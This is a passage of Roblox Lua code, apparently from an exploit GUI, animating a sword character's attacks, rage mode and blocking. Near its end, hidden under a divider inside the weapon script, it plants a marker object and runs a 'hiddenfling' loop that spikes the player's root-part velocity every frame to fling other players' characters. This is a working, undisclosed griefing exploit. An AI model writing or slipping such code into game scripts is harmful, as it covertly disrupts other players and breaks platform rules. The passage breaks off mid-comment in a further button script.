					RAW.C0 = CA(MR(30+120*i), MR(-20), MR(-60+80*i)) * CN(0, -0.8+0.8*i, 0)
	
					HW.C0 = CA(MR(-80+60*i), MR(180), 0)
	
					LAW.C0 = CA(MR(-50+100*i), 0, MR(30*i))
	
					neck.C0 = necko * CA(MR(5-25*i), 0, MR(10-30*i))
	
					wait()
	
				end
	
				EndEffect()
	
				Hurt = false
	
				for i = 0.17, 1, 0.33 do
	
					RAW.C0 = CA(MR(150+15*i), MR(-20), MR(20+5*i))
	
					HW.C0 = CA(MR(-20), MR(180), 0)
	
					LAW.C0 = CA(MR(50+5*i), 0, MR(30+10*i))
	
					neck.C0 = necko * CA(MR(-20-5*i), 0, MR(-20))
	
					wait()
	
				end
	
				for i = 0.13, 1, 0.25 do
	
					RAW.C0 = CA(MR(165-15*i), MR(-20+50*i), MR(25-75*i))
	
					HW.C0 = CA(MR(-20-20*i), MR(180), 0)
	
					LAW.C0 = CA(MR(55+45*i), 0, MR(40-30*i))
	
					neck.C0 = necko * CA(MR(-25), 0, MR(-20+35*i))
	
					wait()
	
				end
	
				StartEffect()
	
				Hurt = true
	
				Deb = true
	
				playz(Sounds.Slash)
	
				for i = 0.08, 1, 0.16 do
	
					RAW.C0 = CA(MR(150-110*i), MR(30), MR(-50+65*i))
	
					HW.C0 = CA(MR(-40-40*i), MR(180), 0)
	
					LAW.C0 = CA(MR(100-50*i), MR(-30*i), MR(10+30*i)) * CN(0, -1.1*i, 0)
	
					neck.C0 = necko * CA(MR(-25+45*i), 0, MR(15-30*i))
	
					wait()
	
				end
	
				EndEffect()
	
				Hurt = false
	
				for i = 0.13, 1, 0.25 do
	
					RAW.C0 = CA(MR(40-5*i), MR(30), MR(15+5*i))
	
					HW.C0 = CA(MR(-80-5*i), MR(180), 0)
	
					LAW.C0 = CA(MR(50), MR(-30), MR(40)) * CN(0, -1.1-0.1*i, 0)
	
					neck.C0 = necko * CA(MR(20+5*i), 0, MR(-15-5*i))
	
					wait()
	
				end
	
				for i = 0.09, 1, 0.16 do
	
					RAW.C0 = CA(MR(35+5*i), MR(30+20*i), MR(20-20*i))
	
					HW.C0 = CA(MR(-85+85*i), MR(180+180*i), 0)
	
					LAW.C0 = CA(MR(50-30*i), MR(-30+10*i), MR(40-60*i)) * CN(0, -1.2+1.2*i, 0)
	
					neck.C0 = necko * CA(MR(25-25*i), 0, MR(-20+20*i))
	
					wait()
	
				end
	
				Normalize()
	
				Able = true
	
				Attack = 1
	
			end
	
		}
	
	
	
		SpinSlash = function(plaic)
	
			if Rage < Dmgs.Spin[6] then return end
	
			Rage = Rage - Dmgs.Spin[6]
	
			local cf = torso.CFrame
	
			local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
	
			if plaic then
	
				CF = ComputePos(cf.p, plaic)
	
			end
	
			AbleAll = false
	
			local bg = Add.BG(torso)
	
			bg.cframe = CF
	
			for i = 0.07, 1, 0.14 do
	
				RAW.C0 = CA(MR(40+50*i), MR(50-65*i), 0)
	
				HW.C0 = CA(0, 0, MR(90*i))
	
				LAW.C0 = CA(MR(20-20*i), MR(-20+20*i), MR(-20-60*i))
	
				neck.C0 = necko * CA(0, 0, MR(-30*i))
	
				bg.cframe = CF * CA(0, MR(30*i), 0)
	
				wait()
	
			end
	
			StartEffect()
	
			Hurt = true
	
			Deb = true
	
			Mode = Dmgs.Spin
	
			Notime(function()
	
				while Hurt do
	
					PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.35, Sounds.Slash[3])
	
					wait(0.15)
	
				end
	
			end)
	
			for i = 0.04, 1, 0.06 do
	
				RAW.C0 = CA(MR(90-10*i), MR(-15), MR(90*i))
	
				HW.C0 = CA(0, MR(-70*i), MR(90))
	
				LAW.C0 = CA(MR(90*i), 0, MR(-20-60+120*i)) * CN(0, -0.7*i, 0)
	
				neck.C0 = necko * CA(0, 0, MR(-30+20*i))
	
				bg.cframe = CF * CA(0, MR(30-380*i), 0)
	
				wait()
	
			end
	
			EndEffect()
	
			for i = 0.09, 1, 0.17 do
	
				RAW.C0 = CA(MR(80), MR(-15), MR(90))
	
				HW.C0 = CA(0, MR(-70-10*i), MR(90))
	
				LAW.C0 = CA(MR(90), 0, MR(-20-60+120+20*i)) * CN(0, -0.7, 0)
	
				neck.C0 = necko * CA(0, 0, MR(-10+60*i))
	
				bg.cframe = CF * CA(0, MR(-350-60*i), 0)
	
				wait()
	
			end
	
			Hurt = false
	
			Deb = false
	
			for i = 0.05, 1, 0.1 do
	
				RAW.C0 = CA(MR(80-40*i), MR(-15+65*i), MR(90-90*i))
	
				HW.C0 = CA(0, MR(-80+80*i), MR(90-90*i))
	
				LAW.C0 = CA(MR(90-70*i), MR(-20*i), MR(60-80*i)) * CN(0, -0.7+0.7*i, 0)
	
				neck.C0 = necko * CA(0, 0, MR(-10+60-50*i))
	
				bg.cframe = CF * CA(0, MR(-410+50*i), 0)
	
				wait()
	
			end
	
			bg:remove()
	
			Normalize()
	
			AbleAll = true
	
		end
	
	
	
		Flawp = function(plaic)
	
			local cf = torso.CFrame
	
			local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
	
			if plaic then
	
				CF = ComputePos(cf.p, plaic)
	
			end
	
			local cf2 = CF * CN(0, -1.1, -1)
	
			local Dist = 8
	
			local Hit1, Pos1 = RayC(CF.p, (CF * CN(0, -1, 0)).p, 4, char)
	
			local Hit2, Pos2 = RayC((CF * CN(0, 0, -Dist*2)).p, (CF * CN(0, -1, -Dist*2)).p, 4, char)
	
			local Hit3, Pos3 = RayC(CF.p, (CF * CN(0, 0, -Dist*2)).p, Dist*2, char)
	
			if Rage < Dmgs.Boom[6] then return end
	
			if Hit1 and Hit2 then
	
				Rage = Rage - Dmgs.Boom[6]
	
				local bp = Add.BP(torso)
	
				bp.position = cf.p
	
				local bg = Add.BG(torso)
	
				bg.cframe = CF
	
				AbleAll = false
	
				RLW.Part1 = Rleg
	
				LLW.Part1 = Lleg
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(40+30*i), MR(50-50*i), MR(25*i))
	
					LAW.C0 = CA(MR(20+50*i), MR(-20+20*i), MR(-20-5*i))
	
					HW.C0 = CA(MR(25*i), 0, 0)
	
					RLW.C0 = CN(0, 1*i, -1*i)
	
					LLW.C0 = CA(MR(-90*i), 0, 0) * CN(0, 0.5*i, -0.2*i)
	
					neck.C0 = necko * CA(MR(20*i), 0, 0)
	
					bp.position = CF * CN(0, -1*i, -1*i).p
	
					wait()
	
				end
	
				local Center = cf2 * CN(0, 0, -Dist)
	
				hum.PlatformStand = true
	
				PlaySound(Sounds.Jump[1], Sounds.Jump[2], Sounds.Jump[3])
	
				for i = 0.06, 1, 0.1 do
	
					RAW.C0 = CA(MR(70-160*i), 0, MR(25+15*i))
	
					LAW.C0 = CA(MR(70-160*i), 0, MR(-25-15*i))
	
					HW.C0 = CA(MR(25), 0, 0)
	
					RLW.C0 = CN(0, 1-1*i, -1+1*i)
	
					LLW.C0 = CA(MR(-90+70*i), 0, 0) * CN(0, 0.5+0.7*i, -0.2-0.3*i)
	
					neck.C0 = necko * CA(MR(20-50*i), 0, 0)
	
					bp.position = Center * CA(MR(180-45*i), 0, 0) * CN(0, 0, -Dist).p
	
					bg.cframe = CF * CA(MR(-90*i), 0, 0)
	
					wait()
	
				end
	
				for i = 0.06, 1, 0.1 do
	
					RAW.C0 = CA(MR(-90-90*i), 0, MR(40+50*i))
	
					LAW.C0 = CA(MR(-90-90*i), 0, MR(-40-50*i))
	
					HW.C0 = CA(MR(25-25*i), 0, MR(-90*i))
	
					RLW.C0 = CN(0, 0, 0)
	
					LLW.C0 = CA(MR(-20+20*i), 0, 0) * CN(0, 1.2-1.2*i, -0.5+0.5*i)
	
					bp.position = Center * CA(MR(135-45*i), 0, 0) * CN(0, 0, -Dist).p
	
					bg.cframe = CF * CA(MR(-90-90*i), 0, 0)
	
					wait()
	
				end
	
				StartEffect()
	
				for i = 0.06, 1, 0.1 do
	
					RAW.C0 = CA(MR(180+10*i), 0, MR(90-130*i)) * CN(0, -1*i, 0)
	
					LAW.C0 = CA(MR(180+10*i), 0, MR(-90+130*i)) * CN(0, -1*i, 0)
	
					HW.C0 = CA(0, 0, MR(-90-90*i))
	
					RLW.C0 = CN(0, 0, 0)
	
					LLW.C0 = CA(0, 0, 0) * CN(0, 0, 0)
	
					bp.position = Center * CA(MR(90-45*i), 0, 0) * CN(0, 0, -Dist).p
	
					bg.cframe = CF * CA(MR(-180-90*i), 0, 0)
	
					wait()
	
				end
	
				playz(Sounds.Slash)
	
				for i = 0.06, 1, 0.1 do
	
					RAW.C0 = CA(MR(190-100*i), 0, MR(-40)) * CN(0, -1-0.2*i, 0)
	
					LAW.C0 = CA(MR(190-80*i), MR(-25*i), MR(40-15*i)) * CN(0, -1-0.2*i, 0)
	
					HW.C0 = CA(0, MR(-45*i), MR(-180))
	
					RLW.C0 = CN(0, 1*i, -1*i)
	
					LLW.C0 = CA(MR(-20-70*i), 0, 0) * CN(0, 1.2-0.7*i, -0.5+0.3*i)
	
					neck.C0 = necko * CA(MR(-30+60*i), 0, 0)
	
					bp.position = Center * CA(MR(45-45*i), 0, 0) * CN(0, 0, -Dist).p
	
					bg.cframe = CF * CA(MR(-270-90*i), 0, 0)
	
					wait()
	
				end
	
				Mode = Dmgs.Boom
	
				EndEffect()
	
				RAW.C0 = CA(MR(90), 0, MR(-40)) * CN(0, -1.2, 0)
	
				LAW.C0 = CA(MR(110), MR(-25), MR(25)) * CN(0, -1.2, 0)
	
				HW.C0 = CA(0, MR(-45), MR(-180))
	
				RLW.C0 = CN(0, 1, -1)
	
				LLW.C0 = CA(MR(-90), 0, 0) * CN(0, 0.5, -0.2)
	
				bp.position = Center * CN(0, 0, -Dist).p
	
				bg.cframe = CF * CA(0, 0, 0)
	
				local PosEff = Center * CN(0, -2, -Dist-2.5)
	
				Notime(function()
	
					playz(Sounds.Boom)
	
					local disst = Dmgs.Boom[7]
	
					local chars = getCharacters(workspace, PosEff.p, disst)
	
					for _,v in pairs(chars) do
	
						local c, t, h = v[1], v[2], v[3]
	
						local d = (t.Position - PosEff.p).magnitude
	
						local bl, bp, blo = getBlock(c)
	
						if blo then
	
							ShieldDamage(Dmgs.Boom, bl, bp, false)
	
						end
	
						d = d/4
	
						if d < 1 then d = 1 end
	
						Damage(t, h, Dmgs.Boom[2]/d, false, false)
	
						for _,k in pairs(c:children()) do
	
							if k:IsA("BasePart") then
	
								k.Velocity = CFrame.new(PosEff.p, k.Position).lookVector * 40 + Vector3.new(0, 50, 0)
	
							end
	
						end
	
						h.PlatformStand = true
	
						Notime(function() h.PlatformStand = false end, 0.2)
	
					end
	
					local eff = Instance.new("Model",workspace)
	
					eff.Name = "Effect"
	
					local wave = Part(eff, true, false, 0, 0, EffectColor, 1, 1, 1, true)
	
					wave.CFrame = PosEff
	
					local wavem = Add.Mesh(wave, "http://www.roblox.com/asset/?id=20329976", 3, 2, 3)
	
					local ball = Part(eff, true, false, 0, 0, EffectColor2, 1, 1, 1, true)
	
					ball.CFrame = PosEff
	
					local ballm = Add.Sphere(ball)
	
					ballm.Scale = Vector3.new(2, 5, 2)
	
					local diamond = Part(eff, true, false, 0, 0, EffectColor, 1, 1, 1, true)
	
					diamond.CFrame = PosEff
	
					local diamondm = Add.Mesh(diamond, "http://www.roblox.com/asset/?id=9756362", 7, 0.5, 7)
	
					for i = 0, 1, 0.05 do
	
						wait()
	
						wave.CFrame = PosEff * CFrame.Angles(0, MR(180*i), 0)
	
						wave.Transparency = i
	
						wavem.Scale = Vector3.new(3+(disst*1.15)*i, 2+(disst/1.4)*i, 3+(disst*1.15)*i)
	
						ball.Transparency = i
	
						ballm.Scale = Vector3.new(1+(disst*2)*i, 5+(disst*1.2)*i, 1+(disst*2)*i)
	
						diamond.Transparency = i
	
						diamondm.Scale = Vector3.new(7-6.5*i, 0.5+(disst*2)*i, 7-6.5*i)
	
					end
	
					wait()
	
					eff:remove()
	
				end)
	
				wait(0.4)
	
				for i = 0.07, 1, 0.1 do
	
					RAW.C0 = CA(MR(90+50*i), 0, MR(-40)) * CN(0, -1.2+0.4*i, -0.4*i)
	
					LAW.C0 = CA(MR(110+30*i), MR(-25+25*i), MR(25+15*i)) * CN(0, -1.2+0.4*i, -0.4*i)
	
					HW.C0 = CA(MR(-30*i), MR(-45+45*i), MR(-180-30*i)) * CN(0, -0.7*i, 0)
	
					RLW.C0 = CN(0, 1-1*i, -1+1*i)
	
					LLW.C0 = CA(MR(-90+90*i), 0, 0) * CN(0, 0.5-0.5*i, -0.2+0.2*i)
	
					neck.C0 = necko * CA(MR(30-15*i), 0, 0)
	
					bp.position = Center * CN(0, 1.4*i, -Dist-1*i).p
	
					wait()
	
				end
	
				bp:remove()
	
				bg:remove()
	
				hum.PlatformStand = false
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(140-100*i), MR(50*i), MR(-40+40*i)) * CN(0, -0.8+0.8*i, -0.4+0.4*i)
	
					LAW.C0 = CA(MR(140-190*i), 0, MR(40-80*i)) * CN(0, -0.8+0.8*i, -0.4+0.4*i)
	
					HW.C0 = CA(MR(-30+30*i), 0, MR(-210-150*i)) * CN(0, -0.7+0.7*i, 0)
	
					RLW.C0 = CN()
	
					LLW.C0 = CN()
	
					neck.C0 = necko * CA(MR(15-15*i), 0, 0)
	
					bp.position = Center * CN(0, 1.4-0.4*i, -Dist-1-0.3*i).p
	
					wait()
	
				end
	
				RLW.Part1 = nil
	
				LLW.Part1 = nil
	
				for i = 0.1, 1, 0.2 do
	
					LAW.C0 = CA(MR(-50+70*i), MR(-20*i), MR(-40+20*i))
	
					wait()
	
				end
	
				Normalize()
	
				AbleAll = true
	
			end
	
		end
	
	
	
		function Raeg()
	
			if Rage < Dmgs.RageMode[5] then return end
	
			if RageMode == false and AbleAll and Able then
	
				AbleAll = false
	
				local CF = ComputePos(torso.Position, torso.CFrame * CN(0, 0, -2))
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(40-70*i), MR(50-45*i), MR(10*i))
	
					LAW.C0 = CA(MR(20-50*i), MR(-20+15*i), MR(-20+10*i))
	
					HW.C0 = CA(MR(20*i), 0, 0)
	
					wait()
	
				end
	
				for i = 0.12, 1, 0.25 do
	
					RAW.C0 = CA(MR(-30-10*i), MR(5-5*i), MR(10-5*i))
	
					LAW.C0 = CA(MR(-30-10*i), MR(-5+5*i), MR(-10+5*i))
	
					HW.C0 = CA(MR(20+5*i), 0, 0)
	
					wait()
	
				end
	
				hum.Jump = true
	
				playz(Sounds.Jump2)
	
				CF = ComputePos(torso.Position, torso.CFrame * CN(0, 0, -2))
	
				local p = Part(workspace, true, false, 0, 0, "Bright red", 0.2, 0.2, 0.2, true)
	
				p.CFrame = CF * CN(0, -2, 0)
	
				local m = Add.Mesh(p, "http://www.roblox.com/asset/?id=20329976", 1, 3, 1)
	
				Notime(function()
	
					for i = 0, 1, 0.08 do
	
						wait()
	
						m.Scale = Vector3.new(1+5*i, 3-2.5*i, 1+5*i)
	
						p.Transparency = i
	
					end
	
					p:remove()
	
				end)
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(-40+220*i), 0, MR(5+35*i))
	
					LAW.C0 = CA(MR(-40+220*i), 0, MR(-5-35*i))
	
					HW.C0 = CA(MR(25-115*i), MR(90*i), MR(45*i))
	
					wait()
	
				end
	
				for i = 0.12, 1, 0.25 do
	
					RAW.C0 = CA(MR(180+8*i), 0, MR(40))
	
					LAW.C0 = CA(MR(180+8*i), 0, MR(-40))
	
					HW.C0 = CA(MR(-90), MR(90), MR(45))
	
					wait()
	
				end
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(188-98*i), 0, MR(40-80*i)) * CN(0, -1*i, 0)
	
					LAW.C0 = CA(MR(188-98*i), 0, MR(-40+80*i)) * CN(0, -1*i, 0)
	
					HW.C0 = CA(MR(-90+90*i), MR(90+45*i), MR(45-45*i))
	
					wait()
	
				end
	
				playz(Sounds.GoRage)
	
				local p2 = Part(workspace, false, false, 1, 0, EffectColor3, 1, 1, 1, true)
	
				Weld(Tip4, p2, 0, -2, 0, 0, 0, 0)
	
				local m2 = Add.Sphere(p2)
	
				m2.Scale = Vector3.new(0.2, 2, 0.5)
	
				for i = 0, 1, 0.06 do
	
					p2.Transparency = 1-1*i
	
					m2.Scale = Vector3.new(0.2+0.7*i, 2+3*i, 0.5+1.6*i)
	
					wait()
	
				end
	
				for _,v in pairs(Blades) do
	
					v.BrickColor = BrickColor.new(EffectColor3)
	
				end
	
				wait(0.5)
	
				for i = 0, 1, 0.1 do
	
					p2.Transparency = i
	
					wait()
	
				end
	
				p2:remove()
	
				playz(Sounds.Shout)
	
				for i = 0.1, 1, 0.1 do
	
					RAW.C0 = CA(MR(90-50*i), MR(50*i), MR(-40+40*i)) * CN(0, -1+1*i, 0)
	
					LAW.C0 = CA(MR(90-70*i), MR(-20*i), MR(-40+80-60*i)) * CN(0, -1+1*i, 0)
	
					HW.C0 = CA(0, MR(135+45*i), 0)
	
					wait()
	
				end
	
				Normalize()
	
				AbleAll = true
	
				RageMode = true
	
				AddDamage = Dmgs.RageMode[2]
	
				AddDamageX = Dmgs.RageMode[3]
	
				AddShield = Dmgs.RageMode[4]
	
				LineColor = EffectColor3
	
				Notime(function()
	
					repeat
	
						wait()
	
						Rage = Rage - 0.45
	
					until Rage < 1
	
					RageMode = false
	
					AddDamage = 0
	
					AddShield = 0
	
					AddDamageX = 1
	
					LineColor = "White"
	
					local p3 = Part(workspace, false, false, 1, 0, BladeColor, 1, 1, 1, true)
	
					Weld(Tip4, p3, 0, -2, 0, 0, 0, 0)
	
					local m3 = Add.Sphere(p3)
	
					m3.Scale = Vector3.new(0.85, 4.9, 1.8)
	
					playz(Sounds.RageOff)
	
					for i = 0.1, 1, 0.1 do
	
						p3.Transparency = 1-1*i
	
						wait()
	
					end
	
					p.Transparency = 0
	
					for _,v in pairs(Blades) do
	
						v.BrickColor = BrickColor.new(BladeColor)
	
					end
	
					wait(0.2)
	
					for i = 0.2, 1, 0.2 do
	
						p3.Transparency = 1*i
	
						m3.Scale = Vector3.new(0.85+2*i, 4.9+9*i, 1.8+4.5*i)
	
						wait()
	
					end
	
					p3:remove()
	
				end)
	
			end
	
		end
	
	
	
		function RageSlash(plaic)
	
			if Rage < Dmgs.RageSlash[6] then return end
	
			local cf = torso.CFrame
	
			local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
	
			if plaic then
	
				CF = ComputePos(cf.p, plaic)
	
				local bg = Add.BG(torso)
	
				bg.cframe = CF
	
				Notime(function() bg:remove() end, 0.4)
	
			end
	
			Rage = Rage - Dmgs.RageSlash[6]
	
			AbleAll = false
	
			for i = 0.05, 1, 0.1 do
	
				RAW.C0 = CA(MR(40+105*i), MR(50-50*i), MR(-35*i)) * CN(0.15*i, -1*i, 0)
	
				LAW.C0 = CA(MR(20+125*i), MR(-20+20*i), MR(-20+55*i)) * CN(-0.15*i, -1*i, 0)
	
				HW.C0 = CA(0, MR(-35*i), 0)
	
				neck.C0 = necko * CA(MR(-20*i), 0, 0)
	
				wait()
	
			end
	
			for i = 0.09, 1, 0.18 do
	
				RAW.C0 = CA(MR(145+55*i), 0, MR(-35)) * CN(0.15, -1, 0)
	
				LAW.C0 = CA(MR(145+55*i), 0, MR(35)) * CN(-0.15, -1, 0)
	
				HW.C0 = CA(0, MR(-35), 0)
	
				neck.C0 = necko * CA(MR(-20-20*i), 0, 0)
	
				wait()
	
			end
	
			PlaySound(Sounds.Slash[1], Sounds.Slash[2]-0.7, Sounds.Slash[3])
	
			for i = 0.12, 1, 0.25 do
	
				RAW.C0 = CA(MR(200+10*i), 0, MR(-35)) * CN(0.15, -1, 0)
	
				LAW.C0 = CA(MR(200+10*i), 0, MR(35)) * CN(-0.15, -1, 0)
	
				HW.C0 = CA(0, MR(-35), 0)
	
				neck.C0 = necko * CA(MR(-20-20-5*i), 0, 0)
	
				wait()
	
			end
	
			Mode = Dmgs.RageSlash
	
			StartEffect("Neon orange")
	
			Hurt = true
	
			Deb = true
	
			for i = 0.07, 1, 0.14 do
	
				RAW.C0 = CA(MR(210-160*i), 0, MR(-35)) * CN(0.15, -1, 0)
	
				LAW.C0 = CA(MR(210-150*i), MR(-30*i), MR(35)) * CN(-0.15, -1, 0)
	
				HW.C0 = CA(MR(-70*i), MR(-35), MR(-35*i))
	
				neck.C0 = necko * CA(MR(-45+80*i), 0, 0)
	
				wait()
	
			end
	
			EndEffect()
	
			Hurt = false
	
			for i = 0.33, 1, 0.33 do
	
				RAW.C0 = CA(MR(50-15*i), 0, MR(-35)) * CN(0.15, -1, 0)
	
				LAW.C0 = CA(MR(60-15*i), MR(-30), MR(35)) * CN(-0.15, -1, 0)
	
				HW.C0 = CA(MR(-70-15*i), MR(-35), MR(-35-7*i))
	
				neck.C0 = necko * CA(MR(-45+80+5*i), 0, 0)
	
				wait()
	
			end
	
			for i = 0.07, 1, 0.14 do
	
				RAW.C0 = CA(MR(35+5*i), MR(50*i), MR(-35+35*i)) * CN(0.15-0.15*i, -1+1*i, 0)
	
				LAW.C0 = CA(MR(45-25*i), MR(-30+10*i), MR(35-55*i)) * CN(-0.15+0.15*i, -1+1*i, 0)
	
				HW.C0 = CA(MR(-70-15+85*i), MR(-35+35*i), MR(-35-7+42*i))
	
				neck.C0 = necko * CA(MR(-45+80+5-40*i), 0, 0)
	
				wait()
	
			end
	
			Normalize()
	
			AbleAll = true
	
		end
	
	
	
		--RAW ORIGINAL = CA(MR(40), MR(50), 0)
	
		--LAW ORIGINAL = CA(MR(20), MR(-20), MR(-20))
	
		--HW ORIGINAL = CA(0, 0, 0)
	
	
	
		function Counter()
	
			local cf = torso.CFrame
	
			local CF = CFrame.new(cf.p, cf * CN(0, 0, -2).p)
	
			local bg = Add.BG(torso)
	
			bg.cframe = CF
	
			for i = 0.1, 1, 0.2 do
	
				RAW.C0 = CA(MR(-50+50*i), MR(-35), MR(80*i))
	
				LAW.C0 = CA(MR(90-20*i), 0, MR(80-20*i)) * CN(-0.75+0.25*i, -0.8+0.5*i, 0)
	
				HW.C0 = CA(MR(20-60*i), 0, 0)
	
				bg.cframe = CF * CA(0, MR(-35*i), 0)
	
				neck.C0 = necko * CA(0, 0, MR(35*i))
	
				wait()
	
			end
	
			StartEffect()
	
			Hurt = true
	
			Deb = true
	
			Mode = Dmgs.Counter
	
			playz(Sounds.Slash)
	
			for i = 0.09, 1, 0.18 do
	
				RAW.C0 = CA(0, MR(-35+130*i), MR(80)) * CN(0, -0.3*i, 0)
	
				LAW.C0 = CA(MR(70-130*i), 0, MR(60-60*i)) * CN(-0.5+0.5*i, -0.3+0.3*i, 0)
	
				HW.C0 = CA(MR(-40+40*i), 0, 0)
	
				bg.cframe = CF * CA(0, MR(-35+80*i), 0)
	
				neck.C0 = necko * CA(0, 0, MR(35-80*i))
	
				wait()
	
			end
	
			EndEffect()
	
			Hurt = false
	
			for i = 0.12, 1, 0.25 do
	
				RAW.C0 = CA(0, MR(95+10*i), MR(80)) * CN(0, -0.3, 0)
	
				LAW.C0 = CA(MR(-60-10*i), 0, 0)
	
				HW.C0 = CA(MR(5*i), 0, 0)
	
				bg.cframe = CF * CA(0, MR(45+5*i), 0)
	
				neck.C0 = necko * CA(0, 0, MR(-45-5*i))
	
				wait()
	
			end
	
			for i = 0.06, 1, 0.12 do
	
				RAW.C0 = CA(MR(40*i), MR(105-55*i), MR(80-80*i)) * CN(0, -0.3+0.3*i, 0)
	
				LAW.C0 = CA(MR(-70+90*i), MR(-20*i), MR(-20*i))
	
				HW.C0 = CA(MR(5-5*i), 0, 0)
	
				bg.cframe = CF * CA(0, MR(50-50*i), 0)
	
				neck.C0 = necko * CA(0, 0, MR(-50+50*i))
	
				wait()
	
			end
	
			Normalize()
	
			bg:remove()
	
		end
	
	
	
		function Bloc()
	
			if AbleAll and Able then
	
				AbleAll = false
	
				Block.Value = true
	
				for i = 0, 1, 0.15 do
	
					if not Block then break end
	
					RAW.C0 = CA(MR(40-90*i), MR(50-85*i), 0)
	
					LAW.C0 = CA(MR(20+70*i), MR(-20+20*i), MR(-20+100*i)) * CN(-0.75*i, -0.8*i, 0)
	
					HW.C0 = CA(MR(20*i), 0, 0)
	
					wait()
	
				end
	
				RAW.C0 = CA(MR(40-90), MR(50-85), 0)
	
				LAW.C0 = CA(MR(20+70), MR(-20+20), MR(-20+100)) * CN(-0.75, -0.8, 0)
	
				HW.C0 = CA(MR(20), 0, 0)
	
				PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2]-0.6, Sounds.SmashHit[3])
	
				repeat
	
					wait()
	
					if BlockPower.Value < 1 then
	
						Block.Value = false
	
						BlockPower.Value = BlockRealPowa
	
					end
	
				until Block.Value == false
	
				if CounterKey and Rage >= Dmgs.Counter[6] then
	
					Rage = Rage - Dmgs.Counter[6]
	
					Counter()
	
				else
	
					for i = 1, 0, -0.2 do
	
						RAW.C0 = CA(MR(40-90*i), MR(50-85*i), 0)
	
						LAW.C0 = CA(MR(20+70*i), MR(-20+20*i), MR(-20+100*i)) * CN(-0.75*i, -0.8*i, 0)
	
						HW.C0 = CA(MR(20*i), 0, 0)
	
						wait()
	
					end
	
					Normalize()
	
				end
	
				AbleAll = true
	
			end
	
		end
	
	
	
		function Clicked(mousepos)
	
			if Block.Value == false and Able and AbleAll then
	
				if Aim then
	
					Notime(function()
	
						local bg = Add.BG(torso)
	
						bg.cframe = ComputePos(torso.Position, mousepos)
	
						bg.P = 5500
	
						wait(0.4)
	
						bg:remove()
	
					end)
	
				end
	
				Attacks[Attack]()
	
			end
	
		end
	
	
	
		function KeyDown(key, mouse)
	
			key = key:lower()
	
			if Able then
	
				local aimplace = nil
	
				if Aim then
	
					aimplace = mouse.Hit.p
	
				end
	
				if key == string.char(48) then
	
					Notime(function()
	
						local k = nil
	
						repeat
	
							k = mouse.KeyUp:wait()
	
						until k == string.char(48)
	
						Block.Value = false
	
					end)
	
					Bloc()
	
				elseif key == "e" then
	
					if Block.Value == false and AbleAll then
	
						SpinSlash(aimplace)
	
					end
	
				elseif key == "r" then
	
					if Block.Value == false and AbleAll then
	
						Flawp(aimplace)
	
					end
	
				elseif key == "f" then
	
					if Block.Value == false and AbleAll then
	
						Raeg()
	
					end
	
				elseif key == "t" then
	
					Notime(function()
	
						local k = nil
	
						CounterKey = true
	
						repeat
	
							k = mouse.KeyUp:wait()
	
						until k == "t"
	
						CounterKey = false
	
					end)
	
				elseif key == "q" then
	
					if Block.Value == false and AbleAll then
	
						local a = nil
	
						if Aim then
	
							a = mouse.Hit.p
	
						end
	
						RageSlash(a)
	
					end
	
				end
	
			end
	
		end
	
	
	
		Select = function(mouse)
	
			SelectAnim()
	
			Selected = true
	
			mouse.Button1Down:connect(function()
	
				if Able then
	
					Clicked(mouse.Hit.p)
	
				end
	
			end)
	
			mouse.KeyDown:connect(function(key)
	
				KeyDown(key, mouse)
	
			end)
	
		end
	
	
	
		Deselect = function(mouse)
	
			Selected = false
	
			DeselectAnim()
	
		end
	
	
	
		Bin.Selected:connect(Select)
	
		Bin.Deselected:connect(Deselect)
	
	
	
		Notime(function()
	
			local parent = char.Parent
	
			while char.Parent == parent do
	
				wait()
	
				if Rage > MaxRage then Rage = MaxRage elseif Rage < 0 then Rage = 0 end
	
				RageBar.Size = UD(1, 0, Rage/MaxRage, 0)
	
				RageBar.Position = UD(0, 0, 1-(Rage/MaxRage), 0)
	
				RageAmount.Text = math.floor(Rage)
	
				local hp2 = hum.Health/hum.MaxHealth
	
				if hp2 > 1 then hp2 = 1 elseif hp2 < 0 then hp2 = 0 end
	
				HealthBar.Size = UD(1, 0, hp2, 0)
	
				if Block.Value then
	
					hum.WalkSpeed = 10
	
				elseif RageMode and Block.Value then
	
					hum.WalkSpeed = 16
	
				elseif RageMode then
	
					hum.WalkSpeed = 19
	
				else
	
					hum.WalkSpeed = 16
	
				end
	
			end
	
		end)
	
		---------------------------------------------------------------------------------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
	
			fling()
		end
	
	
	end)
end;
task.spawn(C_87);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_89()
local script = G2L["89"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- hastebin.com/raw/dignsxi
		TorsoColor = BrickColor.new("Royal purple")
		--------------------------This is an Official script from Duelist--------------------------  
		---{--------------------                         -------------------}---
		---{--------------------         / \           -------------------}---
		---{--------------------         II            -------------------}---
		---{--------------------        II            -------------------}---
